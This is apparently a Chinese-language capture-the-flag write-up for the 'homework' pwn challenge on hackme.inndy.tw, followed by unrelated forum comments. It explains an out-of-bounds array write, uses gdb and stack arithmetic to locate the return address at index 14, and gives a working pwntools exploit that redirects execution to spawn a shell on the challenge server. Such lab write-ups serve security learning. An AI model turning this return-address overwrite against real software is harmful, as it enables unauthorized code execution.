hackme pwn homework

根据提示:Index out bound, Return Address

根据源码:

void run_program()
{
    int arr[10], i, v, act;
    ……
    while(1) {
        ……
        switch(act) {
            case 0:
                return;
            case 1:
                printf("Index to edit: ");
                scanf("%d", &i);
                printf("How many? ");
                scanf("%d", &v);
                arr[i] = v;
                break;
            ……
        }
    }
}

可以看到,这里的arr数组只定义了10个值,但是在op1中没有0~9的区间判断,导致可以任意地址写

这样,我们可以使用gdb对run_program()函数进行调试!~覆盖该函数的返回地址至 - call_me_maybe()即成功

break *0x080487AF

给arr[0]到arr[9]赋值!观察其状态

这里可以数出来:返回地址在004c处的0x80488b1

从栈帧的角度解释:

arr的起始地址是:ebp - 34

0x34 = 52 = 4 * 13

函数的返回地址是:ebp+4

所以加起来的值是56 = 4 * 14,可知是第14个值

 

填充完毕之后,还要输入一个0,执行exit,就能从run_program返回,得到shell

exp如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./homework")
io = remote("hackme.inndy.tw", 7701)

#Input Name
io.recvuntil("name? ")
io.sendline("Any String")

#overwrite return address
io.recvuntil("dump all numbers")
io.recvuntil(" > ")
io.sendline("1")
io.recvuntil("edit: ")
io.sendline("14")
io.recvuntil("How many? ")
system_addr = 0x080485FB
io.sendline(str(system_addr))

#exit
io.recvuntil("dump all numbers")
io.recvuntil(" > ")
io.sendline("0")

io.interactive()
全部评论

相关推荐

不愿透露姓名的神秘牛友
07-03 17:37
点赞 评论 收藏
分享
qq乃乃好喝到咩噗茶:院校后面加上211标签,放大加粗,招呼语也写上211
点赞 评论 收藏
分享
程序员牛肉:主要是因为小厂的资金本来就很吃紧,所以更喜欢有实习经历的同学。来了就能上手。 而大厂因为钱多,实习生一天三四百的就不算事。所以愿意培养你,在面试的时候也就不在乎你有没有实习(除非是同级别大厂的实习。) 按照你的简历来看,同质化太严重了。项目也很烂大街。 要么换项目,要么考研。 你现在选择工作的话,前景不是很好了。
点赞 评论 收藏
分享
仁者伍敌:服务员还要脱颖而出,这是五星级酒店吗
点赞 评论 收藏
分享
评论
点赞
收藏
分享

创作者周榜

更多
牛客网
牛客网在线编程
牛客网题解
牛客企业服务